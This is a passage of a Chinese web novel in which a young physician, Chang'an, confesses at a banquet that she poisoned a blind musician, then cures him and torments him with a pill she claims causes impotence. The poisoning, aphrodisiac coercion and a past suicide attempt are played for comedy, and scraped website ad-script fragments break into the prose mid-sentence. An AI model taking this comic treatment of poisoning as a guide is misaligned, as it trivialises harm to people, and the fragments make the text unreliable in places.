“要是父亲母亲还活着,我的笄礼……”平安擦了下眼泪,转身拿起酒杯,抬袖遮挡,仰头喝下,随手将杯子一扔,趴回小轩窗,侧头枕在胳膊上看着我,甚是妩媚,绝美一笑,又转头看着夕阳回忆,“那时候虽然我们都还小,但我还记得大姐姐的笄礼呢,你还记得吗?那天府中来了好多人,好多人给大姐姐送礼物,我在大姐姐闺房里跟着看,很喜欢大哥哥送的一套首饰,大姐姐见我喜欢就拿来给我装扮,说等到我笄礼的时候她也送我一套,还让大哥哥送我一套更好的。听说你来,我就跑去接你,结果不小心摔倒了,首饰给摔坏了,大家都问我摔到哪里了,摔疼了没有,我只看着摔坏的首饰,愧疚的不行……”平安流泪说着,可说着说着却笑了,笑得温柔又破碎,最后闭眼痛苦不已…… 我们看着湖面痴痴地发愣……并不在意那些男子们。 “大哥哥后来又送了一套给大姐姐,坏的那副大姐姐还给收起来做纪念了。”我们那时候都还小,这样温暖的记忆并不多,我道:“若非那场变故,咱们也是千娇万宠养大的,哪里用受这般气。梁王郡主好歹是一国郡主,及笄礼上一应用品还得自己上街买啊,真是十足小家子气呢!” 我们这样大胆非议皇亲,虽然声小,但席上气氛自然有些微妙。 刚好酒宴过半,韩燕熙等人可以随意行动了,他到我们这边,清了清嗓子道:“说点别的,要不就再小声点。” 我们不理他,只说他一身酒气甚是熏人,让他滚远一点,他自然不肯,学我们的样子趴在隔壁小轩窗。我和平安一同侧头看他,一同瞪了他一眼,一同不屑地哼了一声,然后一同转身坐回席上,韩燕熙看着我们,很是赏心悦目的样子,笑着也坐了回来。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 我小声道:“平安你想要笄礼吗?” “那是当然啊,不必盛大,但总得对着父亲母亲的排位磕个头,让他们泉下有知女儿在世间也算长成了,让他们也安心。”平安说着鼻子一酸,又开始摸起眼泪,端起酒杯仰头一口闷了。 平安是有些酒量的,我自是不怕,只是她这做派,让席间的贵人一惊。自打上船平安一举一动都被人盯着,不是这个瞄一眼,就是那个看一眼。看就看吧,我们不放在心上是了。 平安想起父母,想起被郡主欺辱,心里难过,一杯酒一杯酒的喝,我低声道:“有贵人在,不好喝太多醉酒失态,差不多得了哈。”说着就要按下她正要喝的酒杯。 岂料韩燕熙一脸心疼的样子,赶在我前面拦起酒来,平安不喜欢他靠近,也不爱听他的话,原本已经打算不喝了,可他这样一来,平安便如何不肯顺从,两人拉扯起来,韩燕熙最后竟当众把我妹妹抱在怀里。平安酒量大得很,一点醉意也没有,只是没有他力气大,如此推搡间,看在众人眼里,更别是一番风情。 我自不愿意自己妹妹被众人这般看着,气急一掌给韩燕熙震开。若非顾及我妹妹,这一掌我定用全力,给他震下湖去。众人见韩燕熙狼狈倒地,竟然一脸快意。 平安恼羞不已,气得红着脸起身出了船舱。我端起酒杯作势要泼坐起身来的韩燕熙,他本能抬袖来挡,等他放下胳膊的瞬间,我才挥下早就举起的另一只手,一巴掌结结实实地甩在他脸上,他捂着脸,难以置信,气急败坏:“你敢打我!?” “打都打了,你还问我敢不敢?”话音未落,我已然用一根筷子抵在他弧线流畅好看诱人的喉间,他喉结上下浮动,不敢再有动作,只一脸愤怒的瞪着我。 “韩燕熙,你以为就只有你看上我妹妹了吗?我妹妹生的这般好看,谁看了不爱,可人家都是正人君子,知道我妹妹心有所属,便都作罢。偏你放浪,竟当着太子殿下,王爷们,和我这亲哥哥的面如此放肆,太不要脸了,私下岂不更加过分,难怪我妹妹这般厌恶你。韩燕熙,你可以喜欢我妹妹,但也请你只到喜欢为止,再往下纠缠未免太过失礼,君子不齿,你好自为之。” 说着把筷子一弹,直直插进他耳边的柱子上,把手里一直端着的酒杯喂到他嘴边,他看了看我,顺从的喝下,我道:“喝了我喂的酒,这事就过去了,不许记我仇哦。”说完,不再理会他脸色有多难看,走出船舱安抚平安去了。 船舱里韩燕熙不甘心,大声追问:“我到底哪里不如那个马奴,你连看我一眼都不愿意,他到底哪里好?” 我卷着袖子,作势要回去揍他,平安一把拦住我,“他又破防了,别理他,无视他。” “好!” 夕阳被远山遮住了半张脸,尽力抛洒余辉,霞光满天,真是美丽极了。 我们站在船头,平安站在我身后,让我和她一起张开双臂,像鸟儿飞翔,湖面的风迎面吹来。 “长安和我一起大声喊:I''MTHEKINK,I''MTHEKINKOFTHEWORD!” 我不知道什么意思,但是依旧跟着她大喊,平安一扫阴霾,开心极了,在我耳边道:“这两句话的意思是,我是帝王,我是这天下的帝王。” 我眼睛一亮,复又大声喊起来,一遍又一遍。 船舱后的乐人们一曲毕,新换的曲子是笛子独奏,曲子新颖婉转动听,曲子一响,便直击灵魂。 平安听了身体一僵,随后开心到战栗,抱在我腰间的手更紧了些,在我耳边说道:“姐姐,那个世界是真的,这首曲子是一部电影的主题曲,刚才那句话也是,奏乐的人也来自那个世界,他听见我们刚才的呐喊了。” 说吧,平安一展歌喉,跟着笛子吟唱起来,整个曲子没有一字歌词,却悲壮凄美,让人无法自拔…… 曲毕,众人沉醉还未惊醒,平安便弯腰探出船舷,对着船舱后面一字一顿地大声喊道:“奇,变,偶,不,变!” 随之,一个好听的男声:“符,号,看,象,限!” 24. 梦穿 日暮十分,不远处的岸上,郑清等人正在驱赶马匹回去。平安向岸上招手,郑清骑着马儿,松弛而温和地向她回手,平安开心极了,张开双臂在甲板上旋转,像一朵恣意生长的花朵,对着后舱的乐人道:“你看,那马上的少年,是我在这世界的心上人。” 过了好一会儿,船尾那个人才回复:“我想,那一定是一个大青山一样的男子。” 夜色马上降临,大地在和今日作别,华灯初上,得到回复的平安快乐极了,“可否合一曲《千年》?” 平安话音才落,那边音乐便起…… 一首歌来又一曲,平安根本停不下来,她放肆得唱,开怀地舞,好似要把这多年的孤寂悲凉全都驱散…… 那一夜,平安惊艳了整个画舫,我想那是所有在场的人一生都难以忘怀的场景,少年时要是能有幸遇见那么耀眼的人,这一辈子都值得回味,比起味同嚼蜡的岁月,我想所有人更愿意在光鲜亮丽的日子里活着,就算带着伤,带着血,就算爱而不得,就算有缘无份…… 看着那人群中央,感受万丈荣光的倾国倾城的平安,有那么一刻我好羡慕她啊,我好自卑啊,要是我也能长大……该有多好啊…… 我满脸伤怀失落,惠王到我身边来,拍了拍我的肩膀,我习惯性的依进他的怀里。后来他说:那一夜,他透过平安看见了另一个女子,他的心滚烫滚烫的,再也凉不下去了…… 终于平安尽兴,曲罢舞终。众人回到各自的席位。 那位乐师是靖王带来的,平安请了太子许可,那乐师才被人搀扶着走出来,竟然是个瞎子。平安一脸同情不已地快步迎上前搀扶。我看着两人重合在一起得手,只觉得心口憋闷,不由哼了一声,转身走到惠王身边坐下。 韩燕熙也不屑极了,他原本的坐席就在惠王身边,这会儿坐回来,也是一脸不愤的样子。 平安把乐师引到末席与之攀谈。 靖王给太子德王惠王说起这乐师的来历,说这乐师是南唐乐坛第一乐人,因为性格高洁得罪了摄政王,走投无路,逃到咱们北汉来,正好到了靖王的衡山国…… 靖王在这边有一句没一句的说着,大家的注意力和我一样都在平安那里。 只听平安问道:“你是魂穿还是梦穿?” “我是梦穿。” “我开始也是梦穿,后来魂穿了,你这是怎么回事?眼睛是怎么了?一开始就瞎了,还是来了以后瞎的?” “唉,此事说来话长。”乐师一副不想再提的样子,却也断断续续低声讲述,太子德王他们在聊天,我也听不真切,好像还有摄政王什么事儿,不知什么时候,船舱好像安静了许多。 “你是偷偷跟着李大娘子的花船一到来的大汉?那这李大娘子还真是个不怕权贵仗义出手的豪杰,我有幸一定要结识一下,那她的曲目都是你给的?”平安对李大娘子很感兴趣。 “是。” “那你这眼睛是给摄政王?” “不是,我这眼睛是给一个对我爱而不得的女魔头和一个小魔头合伙给毒瞎的。”乐师愤恨不已。 我听了这句话,不自觉的翻白眼。 “啊,天下竟有如此歹毒的女子。” “有些人心地阴暗,见到光芒万丈的人,就想占为己有,爱而不得就心生怨恨,就想毁掉,太可恶了,太可怕了……”乐师说着便气恨地抬手摸了摸眼睛,痛苦地哭泣。 我闻言却一脸活该的样子,幸灾乐祸,端起惠王的茶杯抿了一口。韩燕熙看着我,一脸深思细究,我撇了他眼,并不在意。 只又听平安伤心道:“这世间痴男怨女,从来不懂什么是真正的爱情,有些人啊,遇见就是上上签,能让他的目光在你身上停留,就用尽了一生的幸运,一眼万年,缘分尽了,就该让花成花,让树成树,把别人还给别人,把自己还给自己,体面,成全……” 乐师接着平安的话道:“从此山水异样,永不相逢,余生,不见,不欠,不念……” 我听了气愤不已,哼了一声,低声道:“那都看得这么开,人生还有什么意思,剃度的剃度,做姑子的做姑子,看破红尘,六根清净,岂不天下太平!” 韩燕熙呵呵一笑,拍腿赞道:“说得好!” “滚!” 平安见我们这边有异,回头看了看,我赶紧笑了笑,示意她没事儿。 “可是啊,她们不肯呢,就要纠缠,彼此亏欠,藕断丝连,不能红着脸,就要杀红眼。”乐师说得十分激动,“多狠的心啊,非要毁我双目!” 哼,我喝着茶,看着眼前几案上的佳肴,一脸觉得下手还不够狠的样子,坏坏的笑。却没注意到不光韩燕熙盯着我看,太子等众人也都细细观摩我的神色。 韩燕熙忽的一脸了然,憋不住笑起来。“啧!”我觉得他聒噪,嫌弃的瞪了他一眼。 “是啊,这么恶毒的女魔头该天打雷劈……” “哎,”乐师似乎还有些良心,道:“那个女魔头对我还好,只是爱而不得,所作所为,尚且情有可原,我能理解,她也是受人蛊惑。最该天打雷劈,剥皮抽筋,挫骨扬灰的是那个小魔头。毁我双目,是那小魔头给出的主意,不远千里送毒药!” “嗯?咦?哎?”怎么……好像……不大对啊,这怕是……这别是……怎么冲我来了呢?我的表情随着乐师的用词越来越精彩,韩燕熙都要憋爆炸了,其他人有的一脸了然,有的似乎不确定但抖着肩膀笑起来,有的一脸接着看好戏的样子,有的……反正大家都一副,这事跟长安脱不了关系的样子。有的,譬如韩燕熙,早就一脸这事就是长安干的的笃定。 都在等我如何收场是吧?等着吧!哼! “还千里送毒药?这小魔头真是天杀的,人家两人的感情纠葛,他凑什么热闹,还下手这么恶毒,出这么馊的……这都不是馊主意了……是恶毒……”平安简直难以至信。 韩燕熙凑过来,笑嘻嘻的看着我,一脸这你都能忍啊。 我狠狠挖了他一眼,打算继续忍下去,却听那二人更加说得十分忘我,“合该下一百八十层地狱,拔舌,挖眼,下油锅,刀劈,斧砍,滚钉……” 哎呀我去,“喂,你俩差不多得了,好人哪有背后这么诅咒人的?”我支起上身,眼神越过韩燕熙,瞪着末席的两个人,喊道。 平安转头道:“长安你不懂,你快过来听,听听你就明白怎么回事儿了,那个小魔头实在太可气,你刚才都没听到,来来来,我再给你详细说一下。” “闭嘴吧,我谢谢你,不用啦,不要再在背后说人坏话了,背后说人坏话实乃世间罪大恶极!”我一脸拒绝。 “不是吧,这么严重!?”平安没见过我这样子,觉得我这样子,让她在新朋友面前很没面子,埋怨我道:“可你之前不是说,咱说别人坏话,肯定是别人人品不行,别人说我坏话,更说明别人人品有问题,我骂的能是什么好东西,骂我的又是什么好东西。” 平安话音刚落,乐师大赞一声,“妙啊,这是谁的名言?!” 我一脸吃了屎的样子,嘴巴张了好几张,都没说出话来。韩燕熙哈哈大笑起来,太子一众也哈哈大笑起来。 平安自豪地给乐师说:“是我家长安教我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 韩燕熙向一脸生无可恋的我点点头,“教得好,真会教。” 乐师问:“长安是?” 平安小声一番介绍。 我真的很想堵住平安的嘴巴,真是什么都外倒……我的病就没必要跟一个瞎子说那么明白了吧。 “长安君,可否一见。”乐师起身行礼,高声问道。 “一个瞎子,看得见啊。不见,你不配。” 平安闻言一脸尴尬又埋怨的样子,蹙眉看着我。乐师很受伤的样子,讪讪坐了回去,问平安长安君怎么这样,问是不是他哪里怠慢了长安君云云…… 我压着心里的火气,道:“别打听我是谁是什么样的人,没坏在你身上,我就是个好人,我说话从来不带刺,如果你被扎到了,别多想,我就是故意的。” “……我是不是哪里做的不好,得罪了长安君。”乐师难受极了,实在搞不清这个长安为什么这么针对他。 “哎呀,长安!”平安生气了,娇嗔着责怪我,见我不理她,便对乐师道:“别管她,她总是一时好一时坏,这会子不知道吃错什么,待会儿就好了。” 我把刚拿起的糕点,扔回去,重重的哼了一声,平安一点也不理我,只继续和乐师交谈,“哦,你此次来长安城就是为了找苏神医治眼睛的吗?” 我气死了,惠王像安抚小狗子一样摸摸我的头,让我别气,可我简直要气炸了,喘着粗气,摇头摆尾扭动个不停,以示心中不平,动作越来越大,企图吸引平安的注意力,让她知道我有多气。可是平安根本没注意到我,我都要气炸了…… 太子一众人见我这样子,觉得可爱又好笑,纷纷乐起来。 我见众人不能体会我心中烦闷,懊恼不已,趴在桌子上装死,再也不管其他,却听平安叫我,“长安你过来给无名看看眼睛,说不定你就能给治好呢?” 哼,才想起我?“死了好一会儿,有事烧纸吧!”我伏案不起,把头转朝另一边。 太子惠王等人听我这样回复,忍俊不禁。 平安过来拉我,我身形小,我不用内力,力气是没有她大的,我向来宠溺她,断然不会用内力与她抗衡,她见扶不起我,就拉着我一只脚,从惠王身边把我拖走,我一脸生无可恋,她居然把我脸着地拖行,“这是个什么妹妹,这简直不是胳膊肘往外拐啊,这就长了个外拐的胳膊肘啊。” “什么胳膊不胳膊,你快给他看看。”平安把我扶正,又对那个自称无名的乐师,道:“你放心,我家长安医术不比苏神医差,苏神医每日病患如云,你找他怕是要等到猴年马月,直接找长安最好。” 无名对着前方行礼作揖,表示谢意。 我抱臂坐着,一脸愤恨。 平安不住的向我使眼色,百般恳求,最后作势要给我跪下磕头,我无可奈何扶了她一下,她立即开心得喜笑颜开。 “你是梦穿哈?”我开口道。 “啊,对,难道你也是……”乐师问。 “我(她)不是。”我和平安异口同声。 “你做梦的时候帮我个忙呗。”说完我不等他答应,就俯身上前在他耳边嘱托,“记住了吗?” 乐师思考一下,点头,“记住了。” 我一个手刀赶紧利落,“梦你的去吧!”乐师应声倒地,晕死过去。 “啊,长安!”平安捂着嘴巴,倒吸一口凉气,怒极,“你干嘛呀,他怎么你了?你干嘛这样对他。” 我忍着怒火,心口憋闷,长长舒了一口气,才道:“你知道他是谁啊?他说他是无名,他就是无名?你就信啊?” 25. 花郎 “你到底能不能治,给不给治。”平安语气生硬,带着愤怒和胁迫。 众人都看着我们,画舫上只能听见水花声。平安这样跟我说话,我心里难受,咬了咬牙,忍着眼泪,“好,你为了一个外人,一个男人,你用这种语气跟我说话……重新说。”众人一愣,还以为我们马上就要吵起来了呢。惠王都要起身过来劝和了。 平安刚才说完就后悔了,闻言赶紧低声排练了几次,都觉得不满意,最后自暴自弃,“……长安,你给他治一治嘛,你一定是能给他治好的,对吗?” “对,主意,我出的,毒,我给的,你说我能不能给他治好?” 众人都是一惊,这,就认了? “什么!!你,你,原来你就是那个小魔头,你怎么能如此……”果然,平安对我指责起来。 我很生气,转头瞪着她厉声道:“闭嘴,别人说也就算了,你不可以。”众人也都不敢议论。 “……医者父母心,你怎么能……”平安含泪,咬了咬下唇,实在不敢相信我做出这么伤天害理的事情。 我擦去忍不住气出来的眼泪,故作不在意平安对我的态度,“我是医者父母心了啊,我朋友给我来信说明情况,我马上就把我朋友当亲生闺女一样了啊,我当时的那个心,就,就和自己精心养护的花儿被猪拱了一样,立即帮她谋划,帮她对付这个负心人啦……” 平安见我语气轻佻,丝毫没有愧疚,一点不把致人残疾的事放在心上,反而风轻云淡,歪曲医者父母心的意思,帮着那个对乐师爱而不得的女魔头。“你……真是,你怎么一点愧疚都没有,他眼睛瞎了,你,却承认的这么坦荡……” “你责备我?你站他那边责备我?”我简直要爆炸了,却依旧隐忍:“对啊,我承认了,我坦荡,我有什么不敢坦荡的,我光明正大的出主意,精心制毒,千里送毒,我写在信里的可清楚了,还让我朋友下毒之前给他把信看一遍或者下完毒给他读一遍,要不他怎么这么清楚眼怎么瞎的。” “你真是……”平安一副说不下去的样子,简直不敢相信,她一直以来可爱温柔的长安,居然是这样子的,轻描淡写就设计毒瞎一个人的眼睛,“那是一个人的一双眼睛啊,一辈子,残疾……你怎么能……”平安气得发抖,伤心欲绝,凄美落泪…… “对,我就做了怎么了?我就这么敢作敢当了,怎么了?我长安行不改名坐不改姓,不像这个东西,连自己叫什么都不敢承认,”我有些急气败坏,我可以忍下任何人对我的偏见,却独独受不了平安对我失望:“你知道他什么人,这个人在南唐可是有名的风流浪荡,一屁股的风流债,叫什么,柳花郎,一听就一身的花柳病,碰他一下我都觉得恶心,不干净,你还和他,执手相看泪眼,你还跟他一见如故,还跟他相见恨晚,还跟他相谈甚欢,要不是想起来眼瞎,得找我医治,接下来该跟他以身相许,我就要随礼当大舅父了吧……” “长安,你胡说什么,你……”平安气哭了。 我说的激动,根本不管人多不多,平安在众人面前被我这样说有多窘迫,“我可没胡说,我那朋友可是南唐数一数二的高手,他一个瞎子,能从她手底下逃出来,还能借着李大娘子的船逃到衡山国,又搭上了靖王爷的顺风车,到长安城来了,你觉得他果真是个柔弱不能自理的吗?三句话两句话,就打听到你独居之处,偏他还无处可去,求你收容,偏你就答应了,他是李大娘子那里不能留啊,还是靖王那里坐不下,得你个小女子搭救,平安,脑子呢?郑清长什么样你这会儿怕是都想不起来了吧?哎呀我的天爷啊,我都要气死了,你还跟他一块儿咒我,十八层地狱都不够,还得一百八十层,地狱是你俩挖出来的啊,正巧他没地方住,他怎不去,拔舌,挖眼,下油锅,刀劈,斧砍,滚钉板,你以为你咒的谁啊,我,我,长安,你唯一的亲人啊,和一个外人,一个男人,你……哼!”我与平安原本隔着几案相对而坐,我一边说着一边站起身来,一只脚踩在几案上,俯身居高临下的看着平安,说完,转身坐下,别过头,仰着下巴,强忍着眼泪。 我一番言论下来,虽然说得难听,但众人都已达意。 “……我……你刚才那样子,我有被你吓到,不许你这样吼我,你从来都没这么重的语气和我说过话,不许你这样……你,你别生气……”平安梨花带雨,神色复杂,看了看柳花郎,她确实被我吓到,也被我的话震惊到了,她还是不愿相信柳花郎是我说的那种人,但对我的气消了大半不说,也莫名觉得理亏起来,瞬间没了刚才的气势。 “来不及了,已经气死了。”我又别了别头,打算接下来,不管她怎样都坚决不去理会她。 平安大概觉得周围都是人,不好像在家里那样撒娇哄我,一边抹眼泪,一边小心翼翼扒了一个枇杷,凑过来坐下,喂给我吃,我躲了两下,才吃下,“还,挺甜的。”气瞬间就消散了。 众人一看我那般的盛怒,居然一个枇杷就搞定了,都难以置信的样子。 “那你给不给他治嘛?” 我闻言心口又重重堵了一下,白了平安一眼,拿过她手里剩下的枇杷,一边吃一遍思考道:“……也不是不行,但是我觉得这个人品行有问题,我不敢救他,怕……” “怕什么?” “你看这人,天生媚骨,风流成性,那在南唐,那也是见一个爱一个,有名号的了,他瞎着还有个人的样子,我若是给他治好了,他好了就怕不干人事儿,到时候,他第一个就,就先祸祸你,我这不是搬石头砸自己妹妹吗?” 平安脸红的一时不知道怎么回我,知人知面不知心的道理她是懂的,身为女子,对男人该有的防备是要有的,不然真的会吃亏。 韩燕熙忍不住问道:“你们一向这样旁若无人的说大直话吗?” “有话不直说,留着过年吗?”我和平安都是一脸茫然,异口同声地问道。 “哎呦,他不会的。”平安始终觉得他们是去过另外一个世界的灵魂,存在一种莫名的信任和好感,极力给柳花郎找补。 人哪,道理都懂,就是不干,便是所谓的执迷不悟。我充满了无力感。 “你能不能别向着他,你能不能把我的话听进去?我是你亲……哥哥,我能害你啊?”我真是理解什么是苦口婆心了,“郑清,郑清我就不是很满意,但是看在他老实正直,人品绝佳,和你从小相伴相知一起长大的情分,就算是个马奴,我也就算了,那这呢?这是个什么东西,你招惹上他,你……你还有好啊?你以为所有人都是正人君子吗?这一船的青年才俊,哪个人品不持重,哪个不是良人佳婿,你闭着眼随手指一个,我都能开开心心高高兴兴,给你备上十里红妆,把你风光大嫁,可你偏偏喜欢郑清,如今又要招惹……” “我没有……”平安脸红的发烫,觉得有些话确实可以留着过年。 “我知道你没有,可我今就把话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 放在这儿,这个,比韩燕熙有过之无不及,韩燕熙虽然行为放浪不羁,但是到底是个君子,他不会做什么出格的事,伤害你,他心里到底爱你,敬你。”我的话让韩燕熙很受用,他本来有些恼火我拿他和柳花郎比,可听到最后他却顿时坐直了腰板,一脸正义。 我本意不是夸他,见他这样,一脸无奈,继续说道:“可是这个不行,这人没有底线,没有下限,在南唐惹了多少姑娘,各个都死去活来的,连我朋友那样一个洒脱出尘的女子,都不能幸免,你以为你是例外……我能时时刻刻跟在你身边吗?郡主你都打不过,万一,咱就说万一,郑清不嫌你,难道你自己不恶心吗,你……”我说着,仿佛妹妹已经遭受不幸,心疼的哽咽,落起泪来。 “不会的,不会的,他应该,不是那样的人!”平安听了也一阵恶寒,赶紧离开柳花郎坐的稍远一点。 “……好,咱们打个赌吧,正好今天人多,大家都做个见证,他睁眼,看见你,三句话,把你拿下……” 我不等平安回应,擦干脸上的泪水,调整了一下气息,就把人唤醒了。 柳花郎茫然坐正,不等他作反应,我手指运气,在他眉心轻轻一扫,他眼睛上的丝带瞬间断开滑落,我下手还是有些重,他额间像是被利刃划过一般,渗出一道细细的红线,更让他如渡劫的谪仙一样。他缓缓睁开眼睛,虽然看不见,绝美的样子却让人一眼万年。是啊,毕得是这样的相貌,才让人沉迷堕落…… 平安一下子就看怔住了。我见她没出息的样子,翻了个白眼,恨铁不成钢。 我瞪了一眼未知未觉的平安,叹了口气,点了一下酒水,端到柳花郎嘴边,“把酒喝了。” “我不饮酒。”他说话自带深情,声音甚是温柔好听,就像他的歌声一样动人心弦。 我不耐烦的,将手沾了杯中酒,正欲在他双目前弹开,又想着跟他客气什么,便甚是利落地将酒水对着他眼睛随意一泼,他柔弱不已地“啊”了一声,闭眼,侧脸绝美一躲,复又睁开眼目视前方,脸上的酒水痕迹,让他像出水的芙蓉花…… 只一刹那间,他眼睛微微动了一下,慢慢,眼睛里的光凝聚起来,他缓缓抬目,颤动蝶翅一般的睫毛,对上平安的眼睛,仿佛看见一生追求的那一束救赎的光一样,深情慢慢慢慢绽开,融化,媚眼如丝,那一刻眼里的红晕从眼角晕开,一滴泪,划过眼角的美人痣…… “平安……你,真是,好看……”柳花郎充满破碎感却又仿佛新生,柔弱地抬手轻轻整理平安耳边的碎发,含泪微笑,声音颤抖,“……能看见你真好……”然后,失去一生的力气一般,飘零如落红,倒在平安怀中…… 那一刻,平安仿佛跟着历劫一般,抱着柳花郎,仰面流泪,伤心欲绝,哭泣不已…… 柳花郎,低低浅浅,轻轻吟唱那首《千年》……不得不说,这世间再也找不出比他还好听的男声了。 众人,不论是贵人们还是宫人们,或是守卫……都被两人的破碎感染,有些竟红了眼圈,轻轻啜泣…… 后来,平安说,那是两个无端落入异世的灵魂碰撞,万年的孤独和寂寥被相识相知的喜悦冲散,无关情爱,并非我想。 可彼时,我简直气疯,“竟然,用不到三句,我是赢了还是输了!?”众人皆梦,偏我清醒的很,伏案一只手托着下巴,瘪瘪嘴,一拍桌子,“再好的竹马,也抵不过这种天降吧,如果是这样,那我站韩燕熙。” 26. 魔头 我做了决定,便不等平安回过神来,抬手把她点晕。韩燕熙赶紧将平安接在怀里,有点小人得志的样子,我虽然看不过,但事有缓急。 柳花郎不明所以,环顾一圈,好一阵儿,回过神来,对着我行礼作揖,“多谢这位,长安小公子,救治之恩。”眼神至真至纯,举止优雅有度,声音如细雨霖铃。 “瞎了得有三年多了吧。”我别过头去不看他,和这人相比,堂邑夫就是个小菜鸡,且得学呢。 “是,嗯?”柳花郎一脸疑惑,想起先前我就拿话扎他,可大约看在平安的面子上,他还是思量了一下夸赞我医术高明,极尽溢美之词。 我听了很受用,决定送他一份大礼。“我这人呢,没你夸得那么好,但也全身都是长处,优点就只有一个——”我伸手将他的下巴卸了,放进去一个药丸,然后把他下巴装上。他捂着疼痛难忍的下巴,蹙着眉头,红着眼睛,一脸痛苦和不解。真是我见犹怜,我别开眼睛,接着道:“粗俗。” 太子等人听了我这般自我介绍,忍俊不禁。 “平安,我妹妹,别动什么歪心思,他有心上人,一个……大青山一样的人。”我漫不经心的说道:“我呀,医术也,并不高明,只是呢,自己的毒,自己解罢了。” “自己的毒,自己解?你,你,是,是你这个魔头!” “对了(liao)!”我笑得人畜无害,站起身一脚将他踹倒,踩在他的胸口上,让他动弹不得。他身上有些功夫,尝试运功反击,却不能,反而胸中痛苦不已,“你,你,你刚才给我吃的什么?你又给我下毒?你……” 我居高临下,加深了脚下的力度,一脸玩味坏笑:“可不是什么毒药,就是不能让你祸害完南唐的姑娘,又来祸害我们大汉的姑娘,就是让你……清心寡欲的药。”我一副好像忽然想起来什么的样子,特意强调:“啊,就是,再也不举,啊哈哈哈哈……” 柳花郎恼羞极了,他双手来搬我的脚,我嫌脏,厌恶的蹙眉,将他一脚踢开。柳花郎伏在小轩窗绝望嘶吼,“啊……你,你,啊……我真是惨啊,老天爷啊,一个一个又一个,什么时候是个头啊,我要回去,我要回去,再也不来了,啊……” “回去?回不去了,哎呀,真是可怜,落她手里呢,总是对你有情,不仅不会让你这样力不从心,多半还希望你更加勇猛些呢,之前可就跟我要了好多壮阳的药,都是我精心调配的,不知道你之前用着一向可好啊?啊哈哈哈哈……” “啊,是你这魔头,我不活了……”柳花郎羞愧难当,要死要活。 我格外特意地看了一眼小轩窗外的湖面,挑眉,“跳啊。你放心,我保证,没有人捞你,绝不妨碍你就死,绝不会做你投胎路上的绊脚石,跳啊。” “你……你这魔头,这是变着花的折磨戏耍我,啊……”柳花郎绝望至极,恐惧到头就是愤怒,他狠狠地道:“花铁铁说得对,你这魔头,就是心眼子多,坏心眼子更多压得都不长个了,活该!” “哎哎哎?”我顿时没了玩心,甚至有些慌张,急切地问道:“说,说谁心眼子多压得不长个,花铁铁这么跟你说的?” 柳花郎像是抓住什么把柄,硬气起来,“对,那封信花铁铁都读给我听了,花铁铁就是彪悍了点,根本没那么多心眼子,都是你出的鬼点子,什么既然这个男的看不上你,就让他永远看不见,把他毒瞎,啊哈哈哈,你这魔头连笑声都写信里头,真是恶毒,还教她怎么用各种催,情,药,怎么折磨我,这么凌辱我……” “哎哎哎,别瞎编啊,不许胡说八道,我就送了点瞎眼的药,她说你不肯吃饭,身子弱,我给你弄了点强身健体的药,让堂邑夫跑船的时候顺道送过去,堂邑……啊,堂邑夫不在,那个其他可不真是我啊。”我简直百口莫辩,“三年前,催~情~药这种东西,我那时候可是一点也没有的,这个花铁铁,哄得我昧着良心给她出馊主意配毒药,刚给她送去,过后我立马就后悔了呀,良心不安得很,被我师兄看出端倪,两句话就露馅全招了,我在我师父画像前面都要跪死了,她这个王八蛋,居然在我背后这么胡说八道我,啊啊啊,气死我了……”我气得一屁股坐在地上,咧着大嘴仰头哭起来。 “她还说……”柳花郎很是快意,接着补刀。 “行了别说了,够用了,离间计成功了,我站你了。”说完,我继续扭动身体,哭闹不止,差点踢到他,他吓得坐正,却躲也不敢躲。 惠王上前来哄我,我停了大哭,摸着眼泪,看着柳花郎那副虚与委蛇的样子,嫌弃得不得了,白了他一眼,“哎呦,放心吧,那药不是什么不举药,我吓唬你的,我师父说未施之过不可先惩,无实之罪不可预罚,我虽然担心你伤害我妹妹,但是不会防患于未然到这种没人性的地步,不会折辱你男儿的尊严的。花铁铁那个王八蛋,对你挺好的呀,还给传授你内力防身。我那药是克制你内力的。你都逃了,也没脸用人内力了不是?” 惠王见我好了,便坐回去,继续和大家一起看好戏。 “噢。”柳花郎有些悻悻。 “哎,你让花铁铁得手了吗?”我忽然试探着问。 “哼,我宁死不屈,死也不会让她得手。” “好,有骨气!”我鼓掌,心中大块,一扫阴霾,又有些不信,“嗯?催~情~药都……没得手啊?” “没有,你看我这疤,就是发作的时候自杀留的。”柳花郎给我展示他腕子上的刀疤。 “哇哦,有风骨啊大哥,啊哈哈哈,催~情~药都用上了都没得逞,花铁铁,我笑你一辈子。”我开怀大笑,“好兄弟,从今天开始,你就是我的好大哥,哦不行,万一你和花铁铁好了,我还得管她叫嫂子。” “绝无此种可能。” “哎,以防万一嘛,嗯,从今以后你就是我的好弟弟,平安就是你的亲妹子,平安家隔壁的院子我悄悄买下来了,一直空着,送给你了,你且安心住在长安,再给你一百两黄金,明日送过去,你随便花,不够再来管我要,就一点,平时好好照看咱妹子。”说完我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一巴掌拍在他的肩膀上。 “懂了!多谢!”柳花郎会意点点头和我保证。 “来弟弟,以茶代酒我敬你一杯,咱们也算不打不相识,过去的恩怨一笔勾销,余生好好相处。” “好!” 韩燕熙一脸不可置信,“你说你妹妹给人三句话拿下,我看怎么你也给拿下了?” “滚!”我有些心虚,这个滚字并不如之前那么强硬。 我们盘腿对坐,旁若无人,“你那一屁股的风流债怎么回事,我觉得事实可能和花铁铁那个大傻子信里说的,得有很大出入。” “哎,她没什么学问,人品也极其恶劣,信上都是胡说的,我根本就没有什么风流债,我在南唐虽小有名气……” “哦不必自谦,你名气大的很。” 柳花郎摇摇头摆摆手,“不不不,那个就不提了,那一年我满二十岁加冠成年,我爹娘忽然重病相继去世,我除了酷爱音律,也没什么一技之长,本来想进宫做个宫廷乐师安身立命,但南唐宫中一应事务全由摄政王把持,就连选乐师这种事也要在摄政王府走流程,我不幸被摄政王妹妹看上了,她根本不爱我,只是图身子,我宁死不屈,便被她囚禁,后来我……” “从啦?!”我有些失望。 “我那时权宜之计。”柳花郎脸红得不行。 “那还是从了呀。那跟花铁铁怎么回事?” 